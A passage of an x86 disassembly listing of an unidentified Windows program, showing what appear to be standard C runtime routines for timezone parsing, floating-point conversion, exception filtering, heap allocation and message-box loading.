and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_42469B
cmp ebx, edi
jz short loc_424694
lea edi, [ecx+3C00h]
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_424694: ; CODE XREF: sub_42464D+3Dj
mov edi, 7FFFh
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_42469B: ; CODE XREF: sub_42464D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4246B3
cmp edx, ebx
jnz short loc_4246B3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_4246FE
; ---------------------------------------------------------------------------
loc_4246B3: ; CODE XREF: sub_42464D+52j
; sub_42464D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4246BC: ; CODE XREF: sub_42464D+45j
; sub_42464D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4246D4: ; CODE XREF: sub_42464D+A6j
test ecx, esi
jnz short loc_4246F5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4246D4
; ---------------------------------------------------------------------------
loc_4246F5: ; CODE XREF: sub_42464D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_4246FE: ; CODE XREF: sub_42464D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42464D endp
; ---------------------------------------------------------------------------
push 2
call sub_41DA29
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42470C proc near ; DATA XREF: ___:0043C8B8o
; ___:0043D118o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42472F
cmp dword ptr [eax+10h], 3
jnz short loc_42472F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42472F
jmp sub_42255C
; ---------------------------------------------------------------------------
loc_42472F: ; CODE XREF: sub_42470C+Dj
; sub_42470C+13j ...
mov eax, dword_4DB4A0
test eax, eax
jz short loc_42474C
push eax
call sub_4247A8
test eax, eax
pop ecx
jz short loc_42474C
push esi
call dword_4DB4A0
jmp short loc_42474E
; ---------------------------------------------------------------------------
loc_42474C: ; CODE XREF: sub_42470C+2Aj
; sub_42470C+35j
xor eax, eax
loc_42474E: ; CODE XREF: sub_42470C+3Ej
pop esi
retn 4
sub_42470C endp
; ---------------------------------------------------------------------------
word_424752 dw 0C68h ; DATA XREF: ___:00429028o
dword_424754 dd 0E8004247h, 21CC7D6h, 0B4A0A390h, 0FFC3004Dh, 4DB4A035h
; DATA XREF: ___:00429040o
dd 0C3E89000h, 0C3021CC7h
; =============== S U B R O U T I N E =======================================
sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp
; sub_4222C2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 25F0B38h
test eax, eax
jz short loc_424788
xor esi, esi
loc_424788: ; CODE XREF: sub_424770+14j
mov eax, esi
pop esi
retn
sub_424770 endp
; =============== S U B R O U T I N E =======================================
sub_42478C proc near ; CODE XREF: sub_4222C2+73p
; sub_4222C2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 28A093Bh
test eax, eax
jz short loc_4247A4
xor esi, esi
loc_4247A4: ; CODE XREF: sub_42478C+14j
mov eax, esi
pop esi
retn
sub_42478C endp
; =============== S U B R O U T I N E =======================================
sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp
; sub_42470C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
nop
call near ptr 25F0AD1h
test eax, eax
jz short loc_4247BC
xor esi, esi
loc_4247BC: ; CODE XREF: sub_4247A8+10j
mov eax, esi
pop esi
retn
sub_4247A8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42255C
loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj
push 0Ah
call sub_4235C9
push 16h
call sub_425955
pop ecx
pop ecx
push 3
call sub_41B7C2
; END OF FUNCTION CHUNK FOR sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p
cmp dword_4DB560, 0
jnz short locret_4247EB
call sub_4247EC
inc dword_4DB560
locret_4247EB: ; CODE XREF: sub_4247D7+7j
retn
sub_4247D7 endp
; =============== S U B R O U T I N E =======================================
sub_4247EC proc near ; CODE XREF: sub_4247D7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DB4A8, ebp
mov dword_43CD50, ebx
mov dword_43CD40, ebx
call sub_425AC7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424915
push offset dword_4DB4B0
nop
call near ptr 2860000h
cmp eax, ebx
jz loc_424A44
mov eax, dword_4DB4B0
mov ecx, dword_4DB504
imul eax, 3Ch
cmp word_4DB4F6, bp
push 1
pop edx
mov dword_43CCA8, eax
mov dword_4DB4A8, edx
jz short loc_424863
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43CCA8, eax
loc_424863: ; CODE XREF: sub_4247EC+69j
cmp word_4DB54A, bp
jz short loc_424887
mov eax, dword_4DB558
cmp eax, ebp
jz short loc_424887
sub eax, ecx
mov dword_43CCAC, edx
imul eax, 3Ch
mov dword_43CCB0, eax
jmp short loc_424893
; ---------------------------------------------------------------------------
loc_424887: ; CODE XREF: sub_4247EC+7Ej
; sub_4247EC+87j
mov dword_43CCAC, ebp
mov dword_43CCB0, ebp
loc_424893: ; CODE XREF: sub_4247EC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42717C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43CD34
push ebx
push offset dword_4DB4B4
push edi
push dword_4DB344
call esi
test eax, eax
jz short loc_4248D0
cmp [esp+14h+var_4], ebp
jnz short loc_4248D0
mov eax, off_43CD34
and byte ptr [eax+3Fh], 0
jmp short loc_4248D8
; ---------------------------------------------------------------------------
loc_4248D0: ; CODE XREF: sub_4247EC+D1j
; sub_4247EC+D7j
mov eax, off_43CD34
and byte ptr [eax], 0
loc_4248D8: ; CODE XREF: sub_4247EC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43CD38
push ebx
push offset dword_4DB508
push edi
push dword_4DB344
call esi
test eax, eax
jz loc_424A3C
cmp [esp+14h+var_4], ebp
jnz loc_424A3C
mov eax, off_43CD38
and byte ptr [eax+3Fh], 0
jmp loc_424A44
; ---------------------------------------------------------------------------
loc_424915: ; CODE XREF: sub_4247EC+2Dj
cmp byte ptr [esi], 0
jz loc_424A44
mov eax, dword_4DB55C
cmp eax, ebp
jz short loc_424938
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_424A44
loc_424938: ; CODE XREF: sub_4247EC+139j
push dword_4DB55C
call sub_41B0B1
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
add esp, 0Ch
cmp eax, ebp
mov dword_4DB55C, eax
jz loc_424A44
push esi
push eax
call sub_41BEB0
push 3
push esi
push off_43CD34
call sub_41B5F0
mov eax, off_43CD34
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42498D
push 1
inc esi
pop edi
loc_42498D: ; CODE XREF: sub_4247EC+19Bj
push esi
call sub_41B6EE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43CCA8, ecx
loc_4249A4: ; CODE XREF: sub_4247EC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4249B2
cmp al, bl
jl short loc_4249B5
cmp al, 39h
jg short loc_4249B5
loc_4249B2: ; CODE XREF: sub_4247EC+1BCj
inc esi
jmp short loc_4249A4
; ---------------------------------------------------------------------------
loc_4249B5: ; CODE XREF: sub_4247EC+1C0j
; sub_4247EC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
imul eax, 3Ch
pop ecx
mov ecx, dword_43CCA8
add ecx, eax
mov dword_43CCA8, ecx
loc_4249D3: ; CODE XREF: sub_4247EC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4249E0
cmp al, 39h
jg short loc_4249E0
inc esi
jmp short loc_4249D3
; ---------------------------------------------------------------------------
loc_4249E0: ; CODE XREF: sub_4247EC+1EBj
; sub_4247EC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424A08
inc esi
push esi
call sub_41B6EE
pop ecx
mov ecx, dword_43CCA8
add ecx, eax
mov dword_43CCA8, ecx
loc_4249FB: ; CODE XREF: sub_4247EC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424A08
cmp al, 39h
jg short loc_424A08
inc esi
jmp short loc_4249FB
; ---------------------------------------------------------------------------
loc_424A08: ; CODE XREF: sub_4247EC+1CCj
; sub_4247EC+1F7j ...
cmp edi, ebp
jz short loc_424A14
neg ecx
mov dword_43CCA8, ecx
loc_424A14: ; CODE XREF: sub_4247EC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43CCAC, eax
jz short loc_424A3C
push 3
push esi
push off_43CD38
call sub_41B5F0
mov eax, off_43CD38
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424A44
; ---------------------------------------------------------------------------
loc_424A3C: ; CODE XREF: sub_4247EC+10Bj
; sub_4247EC+115j ...
mov eax, off_43CD38
and byte ptr [eax], 0
loc_424A44: ; CODE XREF: sub_4247EC+40j
; sub_4247EC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4247EC endp
; =============== S U B R O U T I N E =======================================
sub_424A4A proc near ; CODE XREF: sub_422669+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43CCAC, edi
jnz short loc_424A5E
loc_424A57: ; CODE XREF: sub_424A4A+148j
; sub_424A4A+150j ...
xor eax, eax
jmp loc_424BAA
; ---------------------------------------------------------------------------
loc_424A5E: ; CODE XREF: sub_424A4A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43CD40
jnz short loc_424A7C
cmp eax, dword_43CD50
jz loc_424B7E
loc_424A7C: ; CODE XREF: sub_424A4A+24j
cmp dword_4DB4A8, edi
jz loc_424B54
movzx ecx, word_4DB556
push ecx
cmp word_4DB548, di
movzx ecx, word_4DB554
push ecx
movzx ecx, word_4DB552
push ecx
movzx ecx, word_4DB550
push ecx
jnz short loc_424ACE
movzx ecx, word_4DB54C
push edi
push ecx
movzx ecx, word_4DB54E
push ecx
movzx ecx, word_4DB54A
push ecx
push eax
push ebx
jmp short loc_424AE2
; ---------------------------------------------------------------------------
loc_424ACE: ; CODE XREF: sub_424A4A+65j
movzx ecx, word_4DB54E
push ecx
push edi
movzx ecx, word_4DB54A
push edi
push ecx
push eax
push edi
loc_424AE2: ; CODE XREF: sub_424A4A+82j
push ebx
call sub_424BF6
movzx eax, word_4DB502
add esp, 2Ch
cmp word_4DB4F4, di
push eax
movzx eax, word_4DB500
push eax
movzx eax, word_4DB4FE
push eax
movzx eax, word_4DB4FC
push eax
jnz short loc_424B3C
movzx eax, word_4DB4F8
push edi
push eax
movzx eax, word_4DB4FA
push eax
movzx eax, word_4DB4F6
push eax
push dword ptr [esi+14h]
push ebx
loc_424B31: ; CODE XREF: sub_424A4A+108j
push edi
call sub_424BF6
add esp, 2Ch
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B3C: ; CODE XREF: sub_424A4A+C8j
movzx eax, word_4DB4FA
push eax
push edi
movzx eax, word_4DB4F6
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424B31
; ---------------------------------------------------------------------------
loc_424B54: ; CODE XREF: sub_424A4A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424BF6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424BF6
add esp, 58h
loc_424B7E: ; CODE XREF: sub_424A4A+2Cj
; sub_424A4A+F0j
mov edx, dword_43CD44
mov eax, dword_43CD54
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424BAE
cmp ecx, edx
jl loc_424A57
cmp ecx, eax
jg loc_424A57
cmp ecx, edx
jle short loc_424BC2
cmp ecx, eax
jge short loc_424BC2
loc_424BA8: ; CODE XREF: sub_424A4A+166j
; sub_424A4A+16Aj
mov eax, ebx
loc_424BAA: ; CODE XREF: sub_424A4A+Fj
; sub_424A4A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424BAE: ; CODE XREF: sub_424A4A+144j
cmp ecx, eax
jl short loc_424BA8
cmp ecx, edx
jg short loc_424BA8
cmp ecx, eax
jle short loc_424BC2
cmp ecx, edx
jl loc_424A57
loc_424BC2: ; CODE XREF: sub_424A4A+158j
; sub_424A4A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424BE9
xor ecx, ecx
cmp eax, dword_43CD48
setnl cl
loc_424BE5: ; CODE XREF: sub_424A4A+1AAj
mov eax, ecx
jmp short loc_424BAA
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: sub_424A4A+18Ej
xor ecx, ecx
cmp eax, dword_43CD58
setl cl
jmp short loc_424BE5
sub_424A4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p
; sub_424A4A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424C91
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424C21
shl esi, 2
mov eax, dword_43CD58[esi]
jmp short loc_424C2A
; ---------------------------------------------------------------------------
loc_424C21: ; CODE XREF: sub_424BF6+1Ej
shl esi, 2
mov eax, dword_43CD8C[esi]
loc_424C2A: ; CODE XREF: sub_424BF6+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_424C64
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424C6E
; ---------------------------------------------------------------------------
loc_424C64: ; CODE XREF: sub_424BF6+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424C6E: ; CODE XREF: sub_424BF6+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424CAC
cmp [ebp+arg_8], 0
jnz short loc_424C82
mov esi, dword_43CD5C[esi]
jmp short loc_424C88
; ---------------------------------------------------------------------------
loc_424C82: ; CODE XREF: sub_424BF6+82j
mov esi, dword_43CD90[esi]
loc_424C88: ; CODE XREF: sub_424BF6+8Aj
cmp ecx, esi
jle short loc_424CAC
sub ecx, 7
jmp short loc_424CAC
; ---------------------------------------------------------------------------
loc_424C91: ; CODE XREF: sub_424BF6+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424CA2
mov ecx, dword_43CD58[eax*4]
jmp short loc_424CA9
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424BF6+A1j
mov ecx, dword_43CD8C[eax*4]
loc_424CA9: ; CODE XREF: sub_424BF6+AAj
add ecx, [ebp+arg_18]
loc_424CAC: ; CODE XREF: sub_424BF6+7Cj
; sub_424BF6+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424CDD
mov eax, [ebp+arg_1C]
mov dword_43CD44, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43CD40, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43CD48, eax
jmp short loc_424D32
; ---------------------------------------------------------------------------
loc_424CDD: ; CODE XREF: sub_424BF6+BAj
mov eax, [ebp+arg_1C]
mov dword_43CD54, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43CCB0
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43CD58, eax
jns short loc_424D15
add eax, 5265C00h
dec ecx
mov dword_43CD58, eax
jmp short loc_424D26
; ---------------------------------------------------------------------------
loc_424D15: ; CODE XREF: sub_424BF6+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424D2C
sub eax, edx
inc ecx
mov dword_43CD58, eax
loc_424D26: ; CODE XREF: sub_424BF6+11Dj
mov dword_43CD54, ecx
loc_424D2C: ; CODE XREF: sub_424BF6+126j
mov dword_43CD50, ebx
loc_424D32: ; CODE XREF: sub_424BF6+E5j
pop esi
pop ebx
pop ebp
retn
sub_424BF6 endp
; =============== S U B R O U T I N E =======================================
sub_424D36 proc near ; CODE XREF: ___:00422E9Dp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424D47
add esp, 0Ch
retn
sub_424D36 endp
; =============== S U B R O U T I N E =======================================
sub_424D47 proc near ; CODE XREF: sub_424D36+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DC7E1[eax], cl
jnz short loc_424D74
cmp [esp+arg_4], 0
jz short loc_424D6D
movzx eax, word_43C302[eax*2]
and eax, [esp+arg_4]
jmp short loc_424D6F
; ---------------------------------------------------------------------------
loc_424D6D: ; CODE XREF: sub_424D47+16j
xor eax, eax
loc_424D6F: ; CODE XREF: sub_424D47+24j
test eax, eax
jnz short loc_424D74
retn
; ---------------------------------------------------------------------------
loc_424D74: ; CODE XREF: sub_424D47+Fj
; sub_424D47+2Aj
push 1
pop eax
retn
sub_424D47 endp
; =============== S U B R O U T I N E =======================================
sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DB564, ebx
push esi
push edi
jnz short loc_424DC7
push offset aUser32_dll ; "user32.dll"
call near ptr 2690C07h
nop
mov edi, eax
cmp edi, ebx
jz short loc_424DFD
mov esi, dword_4270BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DB564, eax
jz short loc_424DFD
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DB568, eax
call esi
mov dword_4DB56C, eax
loc_424DC7: ; CODE XREF: sub_424D78+Bj
mov eax, dword_4DB568
test eax, eax
jz short loc_424DE6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424DE6
mov eax, dword_4DB56C
test eax, eax
jz short loc_424DE6
push ebx
call eax
mov ebx, eax
loc_424DE6: ; CODE XREF: sub_424D78+56j
; sub_424D78+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DB564
loc_424DF9: ; CODE XREF: sub_424D78+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424DFD: ; CODE XREF: sub_424D78+1Cj
; sub_424D78+33j
xor eax, eax
jmp short loc_424DF9
sub_424D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E01 proc near ; CODE XREF: sub_423936+22p
; sub_423936+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_424E22
test esi, esi
jnz short loc_424E1C
push 1
pop esi
loc_424E1C: ; CODE XREF: sub_424E01+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424E22: ; CODE XREF: sub_424E01+12j
; sub_424E01+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424E81
mov eax, dword_4DC908
cmp eax, 3
jnz short loc_424E4D
mov eax, [ebp+arg_0]
cmp eax, dword_4DC900
ja short loc_424E6C
push eax
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424E97
jmp short loc_424E6C
; ---------------------------------------------------------------------------
loc_424E4D: ; CODE XREF: sub_424E01+30j
cmp eax, 2
jnz short loc_424E6C
cmp esi, dword_43C2F4
ja short loc_424E6C
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424EAB
loc_424E6C: ; CODE XREF: sub_424E01+3Bj
; sub_424E01+4Aj ...
push esi
push 8
push dword_4DC904
nop
call near ptr 27A0000h
mov edi, eax
test edi, edi
jnz short loc_424EA5
loc_424E81: ; CODE XREF: sub_424E01+26j
cmp dword_4DB2FC, 0
jz short loc_424EA5
push esi
call sub_41F312
test eax, eax
pop ecx
jz short loc_424EAE
jmp short loc_424E22
; ---------------------------------------------------------------------------
loc_424E97: ; CODE XREF: sub_424E01+48j
push [ebp+arg_0]
loc_424E9A: ; CODE XREF: sub_424E01+ABj
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_424EA5: ; CODE XREF: sub_424E01+7Ej
; sub_424E01+87j
mov eax, edi
loc_424EA7: ; CODE XREF: sub_424E01+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E01+69j
push esi
jmp short loc_424E9A
; ---------------------------------------------------------------------------
loc_424EAE: ; CODE XREF: sub_424E01+92j
xor eax, eax
jmp short loc_424EA7
sub_424E01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239DB
loc_424EB2: ; CODE XREF: sub_4239DB+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DC5A0, esi
jle short loc_424F05
loc_424EC1: ; CODE XREF: sub_4239DB+1528j
mov eax, dword_4DB598
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424EFC
test byte ptr [eax+0Ch], 83h
jz short loc_424EE0
push eax
call sub_41B05B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424EE0
inc edi
loc_424EE0: ; CODE XREF: sub_4239DB+14F6j
; sub_4239DB+1502j
cmp esi, 14h
jl short loc_424EFC
mov eax, dword_4DB598
push dword ptr [eax+esi*4]
call sub_41B0B1
mov eax, dword_4DB598
pop ecx
and dword ptr [eax+esi*4], 0
loc_424EFC: ; CODE XREF: sub_4239DB+14F0j
; sub_4239DB+1508j
inc esi
cmp esi, dword_4DC5A0
jl short loc_424EC1
loc_424F05: ; CODE XREF: sub_4239DB+14E4j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4239DB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F0A proc near ; CODE XREF: sub_423A33+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DC6C0
jnb loc_42503F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DC5C0[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42503F
push 1
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425049
push 2
push esi
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425049
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424FEC
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41B590
push 8000h
push ebx
call sub_425B44
add esp, 14h
mov [ebp+arg_4], eax
loc_424FA0: ; CODE XREF: sub_424F0A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424FAB
mov eax, edi
loc_424FAB: ; CODE XREF: sub_424F0A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424FC9
sub edi, eax
test edi, edi
jle short loc_424FDF
jmp short loc_424FA0
; ---------------------------------------------------------------------------
loc_424FC9: ; CODE XREF: sub_424F0A+B5j
cmp dword_4DB27C, 5
jnz short loc_424FDC
mov dword_4DB278, 0Dh
loc_424FDC: ; CODE XREF: sub_424F0A+C6j
or esi, 0FFFFFFFFh
loc_424FDF: ; CODE XREF: sub_424F0A+BBj
push [ebp+arg_4]
push ebx
call sub_425B44
pop ecx
pop ecx
jmp short loc_42502C
; ---------------------------------------------------------------------------
loc_424FEC: ; CODE XREF: sub_424F0A+71j
jge short loc_42502C
push 0
push [ebp+arg_4]
push ebx
call sub_42272B
push ebx
call sub_4238A2
add esp, 10h
push eax
nop
call near ptr 25F0000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42502C
mov dword_4DB278, 0Dh
nop
call near ptr 2670D70h
mov dword_4DB27C, eax
loc_42502C: ; CODE XREF: sub_424F0A+E0j
; sub_424F0A:loc_424FECj ...
push 0
push [ebp+arg_0]
push ebx
call sub_42272B
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42504C
; ---------------------------------------------------------------------------
loc_42503F: ; CODE XREF: sub_424F0A+1Aj
; sub_424F0A+36j
mov dword_4DB278, 9
loc_425049: ; CODE XREF: sub_424F0A+4Ej
; sub_424F0A+63j
or eax, 0FFFFFFFFh
loc_42504C: ; CODE XREF: sub_424F0A+133j
pop esi
pop ebx
leave
retn
sub_424F0A endp
; =============== S U B R O U T I N E =======================================
sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp
; sub_4241CF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425066
cmp ecx, esi
jnb short loc_425069
loc_425066: ; CODE XREF: sub_425050+10j
push 1
pop eax
loc_425069: ; CODE XREF: sub_425050+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425050 endp
; =============== S U B R O U T I N E =======================================
sub_425071 proc near ; CODE XREF: sub_42512A+40p
; sub_42512A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250A3
inc dword ptr [esi+8]
loc_4250A3: ; CODE XREF: sub_425071+19j
; sub_425071+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_4250BB
inc dword ptr [esi+8]
loc_4250BB: ; CODE XREF: sub_425071+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425050
add esp, 0Ch
pop edi
pop esi
retn
sub_425071 endp
; =============== S U B R O U T I N E =======================================
sub_4250CF proc near ; CODE XREF: sub_42512A+30p
; sub_42512A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4250CF endp
; =============== S U B R O U T I N E =======================================
sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p
; sub_425BBA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4250FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp
var_10 = dword ptr -10h
